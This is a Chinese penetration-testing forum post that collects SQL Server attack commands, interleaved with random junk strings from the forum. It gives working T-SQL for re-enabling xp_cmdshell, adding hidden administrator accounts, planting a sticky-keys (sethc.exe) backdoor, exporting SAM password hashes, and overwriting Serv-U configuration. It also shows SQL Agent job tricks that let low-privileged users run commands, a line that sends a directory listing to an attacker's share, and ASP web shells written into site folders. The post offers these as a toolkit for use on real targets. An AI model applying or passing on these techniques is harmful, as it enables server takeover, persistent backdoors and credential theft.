中国网络渗透测试联盟
标题:
XP_CMDSHELL恢复方法大全
[打印本页]
作者:
admin
时间:
2012-9-15 14:37
标题:
XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
m. h7 s9 H" c; B$ a1 Z' `9 r
恢复方法:查询分离器连接后,
- G! `$ |% T1 U }; J7 V7 Z
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
0 ?" x# c9 | j
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
' c' p2 g. L* T; e
然后按F5键命令执行完毕
/ v2 l: t7 q% f8 h
4 c" \( I: \# C. l" ?
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
& [1 k5 [1 C3 `# K ?
恢复方法:查询分离器连接后,
F/ G- U8 v* D s
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
0 C( O, d8 f' I8 L0 M0 k
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
1 ^& v- I0 H7 z- z1 Y1 M) z
然后按F5键命令执行完毕
0 ~1 L; X3 S: |: x: r' Y/ l
1 u( o7 ^, c: [0 ?8 U; l
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
\7 n/ i! P& c+ S, l1 t, I; Z1 }
恢复方法:查询分离器连接后,
! @% c0 _/ d. [% v; _
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
, U0 f" z% g9 r
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
6 M: T7 W, e. q% E: W
然后按F5键命令执行完毕
( m; x8 v1 F0 Q8 k4 r
& i- X/ N- L+ C
4 终极方法.
" F! ?" o" T/ J; m) T* W7 Z8 t8 s
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
. p1 U! ]! c( X
查询分离器连接后,
2 _9 ^+ ~9 _0 _" Q# w$ h0 V
2000servser系统:
. H% k, _( t9 R, N
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
4 x- U4 a$ G0 L& O9 o
/ t+ I; q! E5 H) V4 W$ v8 ?
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
. N' M8 X, Q" w, I0 e( s
! d8 H2 V0 `) s0 K
xp或2003server系统:
2 J+ w8 C2 ^0 H0 y) o+ [- B) V
& i1 p% P8 ~+ I0 ~
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
/ j: y( t# j( N7 E
. a/ B( U4 G) r4 h. m1 R3 L# T+ C
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
2 s- r5 U/ k3 h) Q# \, a' C
; h6 M3 ^4 u# T. O7 ~, F8 S O
& W+ L* l9 F; g. z) I
五个SHIFT
3 V& e9 x. }- t9 Y4 v2 d
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
- I9 N6 _% J9 C' b. p* v
4 k( Z5 P: w& E8 `! e- B
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
! G6 Q5 @4 A' F# F: ?
# D; Z$ Q8 b; M3 y
xp_cmdshell执行命令另一种方法
/ N/ S; L5 h Z5 h2 y( i0 z* f, v; I
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
3 z4 E& l; M; O W- t" I
! {6 F0 c, D% t. m$ g; e4 k6 h
判断存储扩展是否存在
# n l9 A( y% Z7 G( c6 i% q
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
! @7 d0 G1 r6 ^ T
返回结果为1就OK
3 ]) @- A1 ^5 _# m% X8 o
" y; K. V# b3 C# s' {: ?/ c9 m) h
# ^ W0 h! B% V
上传xplog70.dll恢复xp_cmdshell语句:
3 v: }1 a' ^5 c) e- [, T
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
( }6 \ i, I+ [
' j! W* ]# D- @5 L' @: \
否则上传xplog7.0.dll
* R+ y2 E0 H# y2 B0 B9 Q4 S; l% j m
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
' g- l- A+ v& ]3 m
8 M) U; J' c( V2 t0 d
& R1 a) U, [; n+ ?2 v, `& O
, `% W5 T5 ]; D/ E( f, R
首先开启沙盘模式:
* b1 U! M2 R, g1 x
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
2 @& B5 E' `* Y0 D( U! @/ L
9 [( o+ `* i9 X
然后利用jet.oledb执行系统命令
! @) d6 W: X1 l$ i$ v
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
8 O' B' Q1 U" q8 |
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
5 Q, M$ V( s6 C9 v, K
& Y! w) X% R w" u$ _& L" l+ T
/ c H8 O, S" F4 v6 ?5 W h
0 |& H, S* C1 e7 m* H5 Y; U
恢复过程sp_addextendedproc 如下:
8 ^1 c: F5 f4 ~( y; J+ ^/ A- {( c' _
create procedure sp_addextendedproc --- 1996/08/30 20:13
6 {0 h% H3 T% J. S# t' c; t
@functname nvarchar(517),/* (owner.)name of function to call */
- d$ J$ X S+ g% Z1 J: q+ z
@dllname varchar(255)/* name of DLL containing function */
) {. m7 l9 f! n4 z* Y z* `
as
Y% G& r. g" N1 f3 y g
set implicit_transactions off
6 y- k9 ]$ W) i# o: n$ U
if @@trancount > 0
' t$ z" X2 b' H1 T+ G4 H
begin
v4 {! v9 c" S
raiserror(15002,-1,-1,'sp_addextendedproc')
0 d0 A( ]6 D& _% [2 \, r
return (1)
: ]- M' f3 k) q0 I
end
Q% h9 @. ^. [ H' O
dbcc addextendedproc( @functname, @dllname)
0 B: r4 I8 I0 E9 c; r% H
return (0) -- sp_addextendedproc
; Y: a6 V5 D% k; n, b
GO
& f* p% { a. {: Q) A
, I# {5 K* v- ]/ I+ {, A
4 c8 ~6 s* i% e H% f
) ?% K: j' t* w( f$ j" A* D# ]
导出管理员密码文件
) y' g5 I6 u5 x! O4 N5 v7 H
sa默认可以读sam键.应该。
& p- @2 q: ~, Y7 v( K; B
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
) A, w7 @+ d' r+ d$ L/ v9 I# _
net user administrator test
1 b$ f- m, b ^" F/ |% @
用administrator登陆.
8 Q# u u" D- F; d3 j
用完机器后
: n( B! Q. F, K
reg import c:\test.reg
/ p* C( W) ?5 U) ?
根本不用克隆.
* ?' N/ k8 d! v. w- z
找到对应的sid.
2 C+ o7 W7 t V. l
1 t7 T$ f/ r9 Z
B( T+ R2 F% {9 ] a& g
+ N8 { W3 z! K
恢复所有存储过程
) U! O& q3 U9 o) o( m. G
use master
/ _# ?; N5 i$ i3 c( @ t
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
0 h9 A4 E0 X9 V+ B% E
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
4 Y. H: O% C' K/ k
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
: s( m+ b6 ~5 Q& u
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
5 y5 a* p. ?: ]+ {
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
. ?' l0 ?* h; _5 Z+ I3 T
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
) w- M% p5 a- c' m( Y
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
# a: g5 n3 D" t: [( D6 {
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
6 |3 ?" Z8 p- a n# ^1 ^3 Y
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
8 d' |! ?9 |# a! x
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
4 `1 U* q' e, ?2 v7 [- I2 Q; K0 k
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
- ^; g x. y2 o5 ]. k
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
) N- M8 ^- S5 O) `, Y6 T
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
7 ?+ D2 V0 k, C5 E3 [7 u
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
7 I+ z& m f. G/ S6 R% a+ y+ j. X
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
6 N; e0 F7 p+ t
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
$ K5 K! I; O/ U. O! B+ h
exec sp_addextendedproc xp_regread,'xpstar.dll'
A Y% K; R7 m) I; K: {; C
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
1 ?4 [ S' o2 R* I5 x! ?2 c! i
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
! y) {- J0 D/ j5 V
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
# c q2 e8 h$ k) u
, U! v! ^ p0 l6 O/ |, \* i2 B) Q0 t
! C! E1 j: A, M/ q
建立读文件的存储过程
+ L( [8 Q2 r6 {
Create proc sp_readTextFile @filename sysname
" U( s" Z5 F1 g1 B
as
8 t0 }! H; L4 G2 [
9 {2 m) L/ A7 k. Q7 }7 K
begin
4 P; B. H' p( j; K
set nocount on
) w+ q' @) u- ]/ u, l* E8 R7 j
Create table #tempfile (line varchar(8000))
/ P" e0 h" T U' G4 a# p L! @* K
exec ('bulk insert #tempfile from "' + @filename + '"')
3 R( u3 I# s# @' j; V; }
select * from #tempfile
/ f7 Q9 r. _2 f* D; g
drop table #tempfile
- T$ I$ S L9 H- Q+ b8 |$ L3 J0 S
End
# ?3 L& l- d* @" p, Z' }6 \6 n
" |% q) d. T; ?. k+ K, o3 _
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
9 G+ _8 ?! x7 A1 k, \/ k2 A
查看登录用户
3 H+ B z7 k9 J# A# i
Select * from sysxlogins
9 x4 B8 ^! H! Z1 n, K6 _3 e9 E
$ ~7 h: f: o. r7 O ~) y2 Q
把文件内容读取到表中
! ?5 c3 z2 s6 `" Q" m8 h
BULK INSERT tmp from "c:\test.txt"
! q+ {: R6 N Z0 Z, J) i' |$ h1 e+ Z
dElete from 表名 清理表里的内容
; B3 h2 w' [) \3 D4 Y! W
create table b_test(fn nvarchar(4000));建一个表,字段为fn
& y- z* ~3 o5 B3 ], L: e
, {# w: N$ D! E. Q0 J/ J$ D
: E M! M( x& {& s
加sa用户
' T8 F4 G0 a8 O- Z% Q
exec master.dbo.sp_addlogin user,pass;
0 u# L. `3 O+ d6 Z5 u. L
exec master.dbo.sp_addsrvrolemember user,sysadmin
; H' X% L g, U& e8 u. J* r
* g9 f# l* N0 |/ k: _' f7 c) \
4 G, T( h6 D2 {9 ^# [* ]
1 v! u& i* C" L% N8 p( t0 L, F b) M
读文件代码
8 ?6 G( X& C8 }, j: C
declare @o int, @f int, @t int, @ret int
+ B0 h1 _( W( L( M; P
declare @line varchar(8000)
. b# K j4 [3 G6 B& E! y
exec sp_oacreate 'scripting.filesystemobject', @o out
8 |0 K3 S& ?+ W) q9 M0 O& D2 U
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
* ~) p' w9 g6 @+ [) _ v
exec @ret = sp_oamethod @f, 'readline', @line out
" j1 U) m% [8 `/ ~+ H8 w, Z o
while( @ret = 0 )
c& ^- c; p9 w* K) I
begin
2 ~ h. c( y5 F+ L0 N E
print @line
0 D- D; T) C, s2 K7 x% q* E
exec @ret = sp_oamethod @f, 'readline', @line out
) ]+ U8 H7 k5 _; r2 ^
end
" l: N' f3 n/ Z
! g; q7 Y& i1 ^4 w, b* ~8 @
# z$ ]+ Z. N3 Z0 u! a- q e' L7 j
写文件代码:
! b1 v {; j; A
declare @o int, @f int, @t int, @ret int
% V9 P5 l4 T: P; r6 [
exec sp_oacreate 'scripting.filesystemobject', @o out
9 F, L% ^3 L/ Q, x
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
" y, q% v6 i j: a
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
- {. f9 `5 K0 f r
7 Y) k4 |" G9 ^9 a; O; c
& x& D F. ?- T
添加lake2 shell
# P6 Z0 T# q( F9 W& d
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
0 ?; n" G3 g; L3 I
sp_dropextendedproc xp_lake2
! O8 ]; r- p- z' A$ j5 V. i
EXEC xp_lake2 'net user'
" z! ^' W; `2 P0 j
! P; T! x$ N- a% Q
- q7 ]( C! L- D f5 t6 g' |
得到硬盘文件信息
+ H- p2 P' }( V0 K4 P6 _5 F
--参数说明:目录名,目录深度,是否显示文件
0 Y2 Q' A4 x( ^5 y1 e% V
execute master..xp_dirtree 'c:'
' L7 _& z2 o: j& S8 _1 I7 {: Z
execute master..xp_dirtree 'c:',1
7 E9 o' \5 o: w5 w0 j& T
execute master..xp_dirtree 'c:',1,1
+ P6 \& _" [9 P y: O
# a+ V! L) \* s0 T( @
6 S; o9 P4 Y, I6 z7 \+ X# M
读serv-u配置信息
2 W% I8 h% H# J: h9 m$ N& O+ D% O
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
' @4 U" l4 t! d, ^4 V9 ?
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
# S' f: J7 K% L7 n
; q8 c' _; f* e2 |) w+ ]5 |2 H& L
通过xp_regwrite写SHIFT后门
5 J8 y r* o8 |( I! M" d
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
! y8 v5 A$ u8 D: N; M$ ^9 _* ^
1 F! ?. K+ p! B! M+ J& k
@# ]. v9 p) J1 r2 {. r
s- t# V2 w1 k0 S2 {) Q
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\
www.xx.com
';
; t+ Y8 v/ Y/ p( s+ A
exec sp_makewebtask 'd:\web\
www.XXXX.com
\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
- D5 W' g$ p) N7 }" q3 M- J6 a0 v9 j
: z* o( z9 Y( p* Y6 c
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
9 J5 U2 o: s9 [! M
5 D" }7 `. f P# T, e
9 A! G) |2 P% U9 H
) u* b6 Q# z: ]
sql server 2005下开启xp_cmdshell的办法
5 Q4 [7 y% s1 Y0 }, M
A9 \2 W7 Y U7 Y, M7 v2 [: i
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
9 W- r2 [0 R5 w' b6 {4 T1 i
& Z% X7 j' q- m6 o }+ Y) p* _
SQL2005开启'OPENROWSET'支持的方法:
! f, u1 ^& X5 Z+ h9 n N
|: R& g5 V5 v. @& d3 `8 S
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
& t- w5 o# @" J$ l2 x' P
0 R2 i- d% U% M3 r) c$ ]
SQL2005开启'sp_oacreate'支持的方法:
9 X, N* l( e: ~' ?% P0 o
3 w: T3 b. W; v4 c9 X1 i% j
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
% y: B. E. n% j1 w- g( z' k
7 w9 f1 w8 m* |" p: c, @
1 A p/ |2 S; x# m
$ E C6 p0 J3 }, O9 j, @8 F
. A; d' N' v6 c4 H7 {& M" n1 f! ]
3 z% C# u. P1 z) K% u0 S! P
8 U6 m' W8 c/ X& G- n
# E2 q$ y8 z9 Y7 o- { h
# y! y8 V( f4 P/ w, N( A0 i
9 W W9 z6 i, H) g6 i( r/ S
+ K& j# e6 Z( Z) o ]
5 z0 C' U" m) z; t
/ y, W/ j2 ~: B W
6 W7 F$ g S+ z/ T
2 c# i! d# q+ K# g, z r& p
- o/ h1 T- R) C$ Q$ x0 S' l8 ?
# N, i# r. u% k0 r
, X# l# H% H: ?' ?; U
+ p3 c/ Z2 ^& D0 l
; f: g! ~ p2 y' Q7 X/ `
6 n* m4 @9 @( L
8 h% R! I! L. B
4 P. `- j8 {! d, C
# w+ R: Q+ N" B* S5 z, L$ I
: Q& o7 u5 J9 y' ^
以下方面不知道能不能成功暂且留下研究哈:
. ^' d L7 \6 {
4)
; i. k7 _5 _2 F T! b
use msdb; --这儿不要是master哟
4 N# t! o4 o: | g
exec sp_add_job @job_name= czy82 ;
$ J" j6 _ y. Q: W: a/ N* Y, X
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
' f' w; X( K; L1 q$ [' R. O
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
# J- j9 m: K' g# c) }- x0 @) G
exec sp_start_job @job_name= czy82 ;
4 _, w" T$ q) g, e" i6 A
/ O% b! D9 N! H0 G9 F! W$ h8 @5 E \$ E
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
' t: c" e0 @' W3 s2 Q
执行tsql语句了.
Q$ v$ n+ y' Q
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
6 p' c+ L1 x7 [0 V! r7 I
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
9 J( d6 Q2 q$ m) d- I
net start SQLSERVERAGENT
7 j/ T! E* m6 O9 e5 H4 e/ [) H7 M3 G! B
$ L0 g: I3 W5 u! @) A
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
9 } H9 Z* ~9 F6 P2 ]+ N3 B6 O8 B
USE msdb
+ l2 h$ w- o$ Y$ d+ @
EXEC sp_add_job @job_name = GetSystemOnSQL ,
2 U2 v. e( y& \3 |4 T `1 {% }
@enabled = 1,
0 K& e n* o# s4 w: u* S
@description = This will give a low privileged user access to
& C) ~6 L8 [1 k' {6 J3 y. t- `
xp_cmdshell ,
, o) |- [8 Y3 W g
@delete_level = 1
# H& [" O# |5 v2 ~( `# }2 R( n
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
9 b& h- N' a% x& g6 Y0 x8 q
@step_name = Exec my sql ,
% ?( B- k7 q7 z8 P" o
@subsystem = TSQL ,
# `! |# }4 N/ x
@command = exec master..xp_execresultset N select exec
6 d) [: D7 k1 @- p4 d
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
8 C# A! V: q% C' l2 {
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
K$ {, j* v& @" k: b
@server_name = 你的SQL的服务器名
/ b, E0 J6 F0 r8 v4 N: E: M
EXEC sp_start_job @job_name = GetSystemOnSQL
* L( x+ T$ h* _6 X( C. j. O; `3 h; W
7 }! K- [6 m ^0 f2 Y, Q
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
# i& x( L) q x! h, {5 z' V, C
才让我们可以以public执行xp_cmdshell
! X7 |, b: ]9 H6 H; H g# Y
* M! a: v8 b" K g2 B, T
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
7 w4 V, V, D. e: ~5 k4 ?9 Q) @* ]' \
在安焦有文章:
http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
7 n8 D4 W+ R v( {% K
; W \1 s0 z% I+ e X& k8 G
USE msdb
) X3 D& [ V+ _0 G- Z# E6 @
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
# W- w- h$ b: {
@enabled = 1,
0 h+ t! U4 `* _4 k$ l
@description = This will create a file called c:\sqlafc123.txt ,
, W/ b$ h/ G$ W
@delete_level = 1
, Q! X6 I. T5 a0 ?- Q, b
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
; N- S" Z+ ]6 {0 C/ ~. x
@step_name = SQLAFC ,
; j" A- R6 l% h9 k3 l3 B4 m( `
@subsystem = TSQL ,
: p) J# Z3 a: a" ^3 V* t: z4 ]
@command = select hello, this file was created by the SQL Agent. ,
* W( G2 D- n d! m- X3 W- T
@output_file_name = c:\sqlafc123.txt
" Z' b! M8 t. U2 J, b: r
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
7 |7 W3 X! a0 j
@server_name = SERVER_NAME
' T6 V$ m, \4 W8 v: P; o: R
EXEC sp_start_job @job_name = ArbitraryFilecreate
. z5 E* m' V1 W/ f* }" T0 g% G3 e
$ S0 D8 k4 a& G- r
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
1 @6 j8 L3 W Z
! n# L& m: ]+ B- ~
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
$ U+ m3 Q" l2 S
----------------------------------------------
4 e. V4 b# B( L: ^
hello, this file was created by the SQL Agent.
. x! g& J1 f' |/ X
- R5 b$ ]9 h. }( ~
(1 ?????)
6 h2 B' T4 t# r+ X, ~9 `
$ w) O7 f4 N8 C2 i
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
" `5 j4 @- E: {; o" y5 v. B
命令的vbs文件到启动目录!
0 A, l6 O0 E- F* C+ K, U3 z- |, O/ m
8 E" h( K+ W5 Z8 Z4 X- b+ `. Y
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
9 P- h2 {- |; [8 R8 A3 v8 S/ w
关于sp_MScopyscriptfile 看下面的例子
" {( k) b+ p& c) U1 k5 _3 D) Q
declare @command varchar(100)
3 P5 q$ t# e$ n7 G& s, n" h
declare @scripfile varchar(200)
8 P6 T& @* t$ t% j) C
set concat_null_yields_null off
" D) a1 ]! Z7 M; V5 ?4 j
select @command= dir c:\ > "\\attackerip\share\dir.txt"
; l4 N0 m$ ~+ ?% ]: X& b
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
" p6 O9 D1 L& I/ @) {9 `
exec sp_MScopyscriptfile @scripfile ,
+ L8 _ {' P3 @: Y! }( i
: j3 A- J: M& D% ]* j
这两个东东都还在测试试哟
$ Z6 y, i2 K, h3 C3 D* E7 M% T
让MSSQL的public用户得到一个本机的web shell
" i2 g* l0 @0 L+ o
5 n; S/ [1 Z$ P6 d1 ?1 o' o
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
1 V% r% F& d! [$ f7 n* @" f* H. a) [
--@query= select <img src=vbscript:msgbox(now())>
* x u& h0 H" o( c
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
- i4 e# B4 Z; p" J+ z$ K
@query= select
) F1 S' S: [1 m$ R- b) p V
<%On Error Resume Next
3 K! v7 c" b+ Z1 m; v
Set oscript = Server.createObject("wscript.SHELL")
% N1 m% b3 E0 d. W
Set oscriptNet = Server.createObject("wscript.NETWORK")
( G6 g7 l4 T! d6 \' G7 |$ x
Set oFileSys = Server.createObject("scripting.FileSystemObject")
4 I8 G! p0 `$ W# T# X
szCMD = Request.Form(".CMD")
* m) c7 G$ }+ Y0 Z
If (szCMD <>"")Then
: ^% O( l& w5 X a2 m/ u$ m& b' G
szTempFile = "C:\" & oFileSys.GetTempName()
3 ?% b7 d% ]: j. p( X2 V4 A- @& v; f
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
" {/ R4 M1 |: X% G( a. ^
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
* f) Z9 J& ?( ]
End If %>
; B5 J x* w2 O4 h# z3 o. i
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="
OST">
1 U0 @+ N/ j0 P: `
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
$ O) l; l9 w8 M) t8 ^+ j1 K: \
</FORM><
RE>
1 r% i: s3 s2 I0 d$ K$ C
<% If (IsObject(oFile))Then
1 g N9 i# p' j, q
On Error Resume Next
- {* t, S7 ?" k- f
Response.Write Server.HTMLEncode(oFile.ReadAll)
8 P% u: P, S, y4 l$ y1 n
oFile.Close
8 H8 c7 P3 i2 R6 l; s
Call oFileSys.deleteFile(szTempFile, True)
9 ^/ R/ |5 K$ v+ ?7 s9 K. c1 t
End If%>
3 D- u9 h, P4 Y; @: t f& s/ q d
</BODY></HTML>
# |5 E+ y6 D& ~/ R
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2